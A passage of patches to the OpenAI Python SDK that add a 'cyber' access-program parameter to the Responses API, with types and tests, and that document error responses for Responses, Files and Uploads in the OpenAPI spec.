+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -1381,6 +1397,7 @@ def parser(raw_response: Response) -> ParsedResponse[TextFormatT]:
"/responses",
body=maybe_transform(
{
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -2029,6 +2046,7 @@ def with_streaming_response(self) -> AsyncResponsesWithStreamingResponse:
async def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -2082,6 +2100,8 @@ async def create(
to use your own data as input for the model's response.
Args:
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -2319,6 +2339,7 @@ async def create(
self,
*,
stream: Literal[True],
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -2378,6 +2399,8 @@ async def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -2608,6 +2631,7 @@ async def create(
self,
*,
stream: bool,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -2667,6 +2691,8 @@ async def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -2895,6 +2921,7 @@ async def create(
async def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -2937,6 +2964,7 @@ async def create(
"/responses",
body=await async_maybe_transform(
{
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -3006,6 +3034,7 @@ def stream(
*,
input: Union[str, ResponseInputParam],
model: ResponsesModel,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
text_format: type[TextFormatT] | Omit = omit,
@@ -3049,6 +3078,7 @@ def stream(
response_id: str | Omit = omit,
input: Union[str, ResponseInputParam] | Omit = omit,
model: ResponsesModel | Omit = omit,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
text_format: type[TextFormatT] | Omit = omit,
@@ -3087,6 +3117,7 @@ def stream(
timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncResponseStreamManager[TextFormatT]:
new_response_args = {
+ "access_programs": access_programs,
"input": input,
"model": model,
"context_management": context_management,
@@ -3143,6 +3174,7 @@ def stream(
text["format"] = _type_to_text_format_param(text_format)
api_request = self.create(
+ access_programs=access_programs,
input=input,
model=model,
stream=True,
@@ -3210,6 +3242,7 @@ async def parse(
self,
*,
text_format: type[TextFormatT] | Omit = omit,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -3271,6 +3304,7 @@ def parser(raw_response: Response) -> ParsedResponse[TextFormatT]:
"/responses",
body=maybe_transform(
{
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -5054,6 +5088,7 @@ class ResponsesResponseResource(BaseResponsesConnectionResource):
def create(
self,
*,
+ access_programs: responses_client_event_param.ResponseCreateAccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[responses_client_event_param.ResponseCreateContextManagement]]
| Omit = omit,
@@ -5104,6 +5139,7 @@ def create(
strip_not_given(
{
"type": "response.create",
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -5185,6 +5221,7 @@ class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
async def create(
self,
*,
+ access_programs: responses_client_event_param.ResponseCreateAccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[responses_client_event_param.ResponseCreateContextManagement]]
| Omit = omit,
@@ -5235,6 +5272,7 @@ async def create(
strip_not_given(
{
"type": "response.create",
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index f983478749..cd2514f847 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -25,6 +25,7 @@
__all__ = [
"BetaResponse",
+ "AccessPrograms",
"IncompleteDetails",
"ToolChoice",
"ToolChoiceBetaSpecificProgrammaticToolCallingParam",
@@ -46,6 +47,11 @@
]
+class AccessPrograms(BaseModel):
+ cyber: Literal["standard", "daybreak_blue", "daybreak_red"]
+ """The effective Cyber access program used for this response."""
+
+
class IncompleteDetails(BaseModel):
"""Details about why the response is incomplete."""
@@ -311,6 +317,8 @@ class BetaResponse(BaseModel):
id: str
"""Unique identifier for this Response."""
+ access_programs: Optional[AccessPrograms] = None
+
created_at: float
"""Unix timestamp (in seconds) of when this Response was created."""
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 2917eba07c..062ed280e5 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -26,6 +26,7 @@
__all__ = [
"BetaResponsesClientEvent",
"ResponseCreate",
+ "ResponseCreateAccessPrograms",
"ResponseCreateContextManagement",
"ResponseCreateConversation",
"ResponseCreateModeration",
@@ -41,6 +42,24 @@
]
+class ResponseCreateAccessPrograms(BaseModel):
+ """Domain-specific access programs to use for this request."""
+
+ cyber: Optional[Literal["standard", "daybreak_blue", "daybreak_red"]] = None
+ """The Cyber access program to use for this request.
+
+ Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If
+ omitted, the API resolves the program from the model's Cyber tier and your
+ organization and project access, subject to model-specific eligibility
+ restrictions. By default, models without a Cyber tier use Standard. Blue-tier
+ models use Daybreak Blue when authorized; otherwise they fall back to Standard
+ unless the model requires Daybreak access. Red-tier models use Daybreak Red and
+ require authorization. Requests that require unavailable Daybreak access
+ return 403. An implicit Standard fallback is represented by null in the
+ response's access_programs field, rather than an explicit Standard selection.
+ """
+
+
class ResponseCreateContextManagement(BaseModel):
type: str
"""The context management entry type. Currently only 'compaction' is supported."""
@@ -242,6 +261,9 @@ class ResponseCreate(BaseModel):
type: Literal["response.create"]
"""The type of the client event. Always `response.create`."""
+ access_programs: Optional[ResponseCreateAccessPrograms] = None
+ """Domain-specific access programs to use for this request."""
+
background: Optional[bool] = None
"""
Whether to run the model response in the background.
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 20699a8b53..e8759755fb 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -26,6 +26,7 @@
__all__ = [
"BetaResponsesClientEventParam",
"ResponseCreate",
+ "ResponseCreateAccessPrograms",
"ResponseCreateContextManagement",
"ResponseCreateConversation",
"ResponseCreateModeration",
@@ -41,6 +42,24 @@
]
+class ResponseCreateAccessPrograms(TypedDict, total=False):
+ """Domain-specific access programs to use for this request."""
+
+ cyber: Literal["standard", "daybreak_blue", "daybreak_red"]
+ """The Cyber access program to use for this request.
+
+ Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If
+ omitted, the API resolves the program from the model's Cyber tier and your
+ organization and project access, subject to model-specific eligibility
+ restrictions. By default, models without a Cyber tier use Standard. Blue-tier
+ models use Daybreak Blue when authorized; otherwise they fall back to Standard
+ unless the model requires Daybreak access. Red-tier models use Daybreak Red and
+ require authorization. Requests that require unavailable Daybreak access
+ return 403. An implicit Standard fallback is represented by null in the
+ response's access_programs field, rather than an explicit Standard selection.
+ """
+
+
class ResponseCreateContextManagement(TypedDict, total=False):
type: Required[str]
"""The context management entry type. Currently only 'compaction' is supported."""
@@ -242,6 +261,9 @@ class ResponseCreate(TypedDict, total=False):
type: Required[Literal["response.create"]]
"""The type of the client event. Always `response.create`."""
+ access_programs: ResponseCreateAccessPrograms
+ """Domain-specific access programs to use for this request."""
+
background: Optional[bool]
"""
Whether to run the model response in the background.
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 3b447f04ec..4247167a4b 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -24,6 +24,7 @@
__all__ = [
"ResponseCreateParamsBase",
+ "AccessPrograms",
"ContextManagement",
"Conversation",
"Moderation",
@@ -42,6 +43,9 @@
class ResponseCreateParamsBase(TypedDict, total=False):
+ access_programs: AccessPrograms
+ """Domain-specific access programs to use for this request."""
+
background: Optional[bool]
"""
Whether to run the model response in the background.
@@ -453,6 +457,24 @@ class ResponseCreateParamsBase(TypedDict, total=False):
betas: Annotated[List[Literal["responses_multi_agent=v1"]], PropertyInfo(alias="openai-beta")]
+class AccessPrograms(TypedDict, total=False):
+ """Domain-specific access programs to use for this request."""
+
+ cyber: Literal["standard", "daybreak_blue", "daybreak_red"]
+ """The Cyber access program to use for this request.
+
+ Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If
+ omitted, the API resolves the program from the model's Cyber tier and your
+ organization and project access, subject to model-specific eligibility
+ restrictions. By default, models without a Cyber tier use Standard. Blue-tier
+ models use Daybreak Blue when authorized; otherwise they fall back to Standard
+ unless the model requires Daybreak access. Red-tier models use Daybreak Red and
+ require authorization. Requests that require unavailable Daybreak access
+ return 403. An implicit Standard fallback is represented by null in the
+ response's access_programs field, rather than an explicit Standard selection.
+ """
+
+
class ContextManagement(TypedDict, total=False):
type: Required[str]
"""The context management entry type. Currently only 'compaction' is supported."""
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index 751d6d6b76..e1f30529eb 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -28,6 +28,7 @@
__all__ = [
"Response",
+ "AccessPrograms",
"IncompleteDetails",
"ToolChoice",
"ToolChoiceSpecificProgrammaticToolCallingParam",
@@ -48,6 +49,11 @@
]
+class AccessPrograms(BaseModel):
+ cyber: Literal["standard", "daybreak_blue", "daybreak_red"]
+ """The effective Cyber access program used for this response."""
+
+
class IncompleteDetails(BaseModel):
"""Details about why the response is incomplete."""
@@ -261,6 +267,8 @@ class Response(BaseModel):
id: str
"""Unique identifier for this Response."""
+ access_programs: Optional[AccessPrograms] = None
+
created_at: float
"""Unix timestamp (in seconds) of when this Response was created."""
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 2798090006..2203730857 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -26,6 +26,7 @@
__all__ = [
"ResponseCreateParamsBase",
+ "AccessPrograms",
"ContextManagement",
"Conversation",
"Moderation",
@@ -42,6 +43,9 @@
class ResponseCreateParamsBase(TypedDict, total=False):
+ access_programs: AccessPrograms
+ """Domain-specific access programs to use for this request."""
+
background: Optional[bool]
"""
Whether to run the model response in the background.
@@ -336,6 +340,24 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
+class AccessPrograms(TypedDict, total=False):
+ """Domain-specific access programs to use for this request."""
+
+ cyber: Literal["standard", "daybreak_blue", "daybreak_red"]
+ """The Cyber access program to use for this request.
+
+ Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If
+ omitted, the API resolves the program from the model's Cyber tier and your
+ organization and project access, subject to model-specific eligibility
+ restrictions. By default, models without a Cyber tier use Standard. Blue-tier
+ models use Daybreak Blue when authorized; otherwise they fall back to Standard
+ unless the model requires Daybreak access. Red-tier models use Daybreak Red and
+ require authorization. Requests that require unavailable Daybreak access
+ return 403. An implicit Standard fallback is represented by null in the
+ response's access_programs field, rather than an explicit Standard selection.
+ """
+
+
class ContextManagement(TypedDict, total=False):
type: Required[str]
"""The context management entry type. Currently only 'compaction' is supported."""
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index b3434b2572..70707e5cef 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -28,6 +28,7 @@
__all__ = [
"ResponsesClientEvent",
"ResponseCreate",
+ "ResponseCreateAccessPrograms",
"ResponseCreateContextManagement",
"ResponseCreateConversation",
"ResponseCreateModeration",
@@ -56,6 +57,24 @@
# end custom code for back compat exports
+class ResponseCreateAccessPrograms(BaseModel):
+ """Domain-specific access programs to use for this request."""
+
+ cyber: Optional[Literal["standard", "daybreak_blue", "daybreak_red"]] = None
+ """The Cyber access program to use for this request.
+
+ Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If
+ omitted, the API resolves the program from the model's Cyber tier and your
+ organization and project access, subject to model-specific eligibility
+ restrictions. By default, models without a Cyber tier use Standard. Blue-tier
+ models use Daybreak Blue when authorized; otherwise they fall back to Standard
+ unless the model requires Daybreak access. Red-tier models use Daybreak Red and
+ require authorization. Requests that require unavailable Daybreak access
+ return 403. An implicit Standard fallback is represented by null in the
+ response's access_programs field, rather than an explicit Standard selection.
+ """
+
+
class ResponseCreateContextManagement(BaseModel):
type: str
"""The context management entry type. Currently only 'compaction' is supported."""
@@ -188,6 +207,9 @@ class ResponseCreate(BaseModel):
type: Literal["response.create"]
"""The type of the client event. Always `response.create`."""
+ access_programs: Optional[ResponseCreateAccessPrograms] = None
+ """Domain-specific access programs to use for this request."""
+
background: Optional[bool] = None
"""
Whether to run the model response in the background.
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 7600341d68..a970363c98 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -28,6 +28,7 @@
__all__ = [
"ResponsesClientEventParam",
"ResponseCreate",
+ "ResponseCreateAccessPrograms",
"ResponseCreateContextManagement",
"ResponseCreateConversation",
"ResponseCreateModeration",
@@ -56,6 +57,24 @@
# end custom code for back compat exports
+class ResponseCreateAccessPrograms(TypedDict, total=False):
+ """Domain-specific access programs to use for this request."""
+
+ cyber: Literal["standard", "daybreak_blue", "daybreak_red"]
+ """The Cyber access program to use for this request.
+
+ Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If
+ omitted, the API resolves the program from the model's Cyber tier and your
+ organization and project access, subject to model-specific eligibility
+ restrictions. By default, models without a Cyber tier use Standard. Blue-tier
+ models use Daybreak Blue when authorized; otherwise they fall back to Standard
+ unless the model requires Daybreak access. Red-tier models use Daybreak Red and
+ require authorization. Requests that require unavailable Daybreak access
+ return 403. An implicit Standard fallback is represented by null in the
+ response's access_programs field, rather than an explicit Standard selection.
+ """
+
+
class ResponseCreateContextManagement(TypedDict, total=False):
type: Required[str]
"""The context management entry type. Currently only 'compaction' is supported."""
@@ -188,6 +207,9 @@ class ResponseCreate(TypedDict, total=False):
type: Required[Literal["response.create"]]
"""The type of the client event. Always `response.create`."""
+ access_programs: ResponseCreateAccessPrograms
+ """Domain-specific access programs to use for this request."""
+
background: Optional[bool]
"""
Whether to run the model response in the background.
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index e0b6fa3839..51b9d1649e 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -28,6 +28,7 @@ def test_method_create_overload_1(self, client: OpenAI) -> None:
@parametrize
def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
response = client.beta.responses.create(
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
@@ -139,6 +140,7 @@ def test_method_create_overload_2(self, client: OpenAI) -> None:
def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
response_stream = client.beta.responses.create(
stream=True,
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
@@ -499,6 +501,7 @@ async def test_method_create_overload_1(self, async_client: AsyncOpenAI) -> None
@parametrize
async def test_method_create_with_all_params_overload_1(self, async_client: AsyncOpenAI) -> None:
response = await async_client.beta.responses.create(
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
@@ -610,6 +613,7 @@ async def test_method_create_overload_2(self, async_client: AsyncOpenAI) -> None
async def test_method_create_with_all_params_overload_2(self, async_client: AsyncOpenAI) -> None:
response_stream = await async_client.beta.responses.create(
stream=True,
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index 832555f8e2..08acf69719 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -28,6 +28,7 @@ def test_method_create_overload_1(self, client: OpenAI) -> None:
@parametrize
def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
response = client.responses.create(
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
@@ -134,6 +135,7 @@ def test_method_create_overload_2(self, client: OpenAI) -> None:
def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
response_stream = client.responses.create(
stream=True,
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
@@ -470,6 +472,7 @@ async def test_method_create_overload_1(self, async_client: AsyncOpenAI) -> None
@parametrize
async def test_method_create_with_all_params_overload_1(self, async_client: AsyncOpenAI) -> None:
response = await async_client.responses.create(
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
@@ -576,6 +579,7 @@ async def test_method_create_overload_2(self, async_client: AsyncOpenAI) -> None
async def test_method_create_with_all_params_overload_2(self, async_client: AsyncOpenAI) -> None:
response_stream = await async_client.responses.create(
stream=True,
+ access_programs={"cyber": "standard"},
background=True,
context_management=[
{
From 63099e739d25cb18f90cae93648471bf037bc46f Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 25 Sep 2026 04:25:22 +0000
Subject: [PATCH 214/341] chore(api): document Responses not-found errors
(#3959)
## Summary
Document the JSON error envelope returned when a requested response or
input-item cursor cannot be found.
## Changes
- Describe wrapped 404 errors for response retrieval, deletion,
cancellation, and input-item listing.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++----
api_reference/openapi.transformed.yml | 41 +++++++++++++++++++++++----
2 files changed, 42 insertions(+), 11 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 6dcb8dac9b..eb293d48e7 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 70ad7603-83a5-4db8-97b3-76c0cf3196e8
-openapi_spec_hash: 23eb05a2b73fe60c23dec5feb7769f0a
-openapi_transformed_spec_hash: 615a532c7252954855cd0bbe2ff0497e
+generation_id: 609890e8-e394-414e-9f46-19228c660a02
+openapi_spec_hash: c391453ba13869e34306c479834d24a5
+openapi_transformed_spec_hash: 9ccfb60d276e7be95a2d78b81cbc2474
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: cbf609de1b0c7bf94f1f0f32420a52115e81e342
-codegen_hash: 00cbf71f86ddc065a2723904e6278536d5df43407f3da7a7a0e1c3e4935ade07
-public_codegen_sha: 52c7dfd5aeab7f96da958a8cc5a810567c95be63
+codegen_sha: cd0d2fbdca92c3722e2d8c89a3264360bb297fd5
+codegen_hash: 67b5ab20d81c80689a8a857466838278fb0d428d48b3261d2479bab43396d589
+public_codegen_sha: a647954332e5cc4fad53f7841d3cb20f513caaa6
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 9a94489cad..54da3fd6c5 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -17933,6 +17933,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Response'
+ '404':
+ description: The response was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18038,7 +18044,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18097,7 +18103,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18226,6 +18232,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ResponseItemList'
+ '404':
+ description: The response or the item specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30112,6 +30124,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponse'
+ '404':
+ description: The response was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30230,7 +30248,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaError'
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30302,7 +30320,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaError'
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -30616,6 +30634,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponseItemList'
+ '404':
+ description: The response or the item specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -35547,6 +35571,7 @@ components:
propertyName: type
seed:
type: integer
+ format: int64
minimum: -9223372036854775808
maximum: 9223372036854775807
nullable: true
@@ -35557,7 +35582,6 @@ components:
Determinism is not guaranteed, and you should refer to the `system_fingerprint` response parameter to monitor changes in the backend.
x-oaiMeta:
beta: true
- format: int64
stream_options:
$ref: '#/components/schemas/ChatCompletionStreamOptions'
tools:
@@ -89274,6 +89298,13 @@ components:
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
+ BetaErrorResponse:
+ type: object
+ properties:
+ error:
+ $ref: '#/components/schemas/BetaError'
+ required:
+ - error
BetaError:
type: object
properties:
From a9d727ff9c4a38fc5dca8d31bd3dd76f473cfc27 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 25 Sep 2026 06:13:58 +0000
Subject: [PATCH 215/341] chore(api): document files and uploads error
responses (#3960)
## Summary
Documents applicable request, missing-file, upload-state and storage
errors for Files and Uploads. Python exceptions are unchanged.
## Changes
- Describe Files lookup and validation failures.
- Clarify expired-upload recovery and applicable request-rate limits.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api_reference/openapi.transformed.yml | 180 ++++++++++++++++++++++++++
2 files changed, 185 insertions(+), 5 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index eb293d48e7..3f302e348a 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 609890e8-e394-414e-9f46-19228c660a02
-openapi_spec_hash: c391453ba13869e34306c479834d24a5
-openapi_transformed_spec_hash: 9ccfb60d276e7be95a2d78b81cbc2474
+generation_id: bbcf5fb4-a54f-48d7-9c24-772776477085
+openapi_spec_hash: 0e4e2f7dffefdf9af4ba091f557e3698
+openapi_transformed_spec_hash: 289efd507762e0572ba21c2b46935826
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: cd0d2fbdca92c3722e2d8c89a3264360bb297fd5
+codegen_sha: 89568c51f375a47f1d3156069016495765eeb70f
codegen_hash: 67b5ab20d81c80689a8a857466838278fb0d428d48b3261d2479bab43396d589
-public_codegen_sha: a647954332e5cc4fad53f7841d3cb20f513caaa6
+public_codegen_sha: adc070c132abc2bdd81fd8ef5c4b75925ea0a02c
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 54da3fd6c5..07e65f039a 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -6025,6 +6025,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFilesResponse'
+ '400':
+ description: The file listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The file specified by the after cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6122,6 +6140,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OpenAIFile'
+ '400':
+ description: The file upload request is invalid or exceeds a file size or storage quota limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The file could not be uploaded because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6196,6 +6232,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteFileResponse'
+ '404':
+ description: The file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6247,6 +6295,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OpenAIFile'
+ '404':
+ description: The file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6302,6 +6362,30 @@ paths:
application/json:
schema:
type: string
+ '400':
+ description: The file cannot be downloaded for its purpose or the account does not have permission to download it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many file requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The file could not be downloaded because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -20874,6 +20958,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
+ '400':
+ description: The upload request is invalid or exceeds a file size or storage quota limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -20928,6 +21024,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
+ '400':
+ description: The upload is no longer pending or is already being completed and cannot be cancelled.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The upload was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The upload has expired. Create a new upload before adding parts or completing it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -20982,6 +21102,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
+ '400':
+ description: The upload cannot be completed in its current state, the parts are invalid, or the uploaded size does not match the specified size.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The upload was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The upload has expired. Create a new upload before adding parts or completing it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
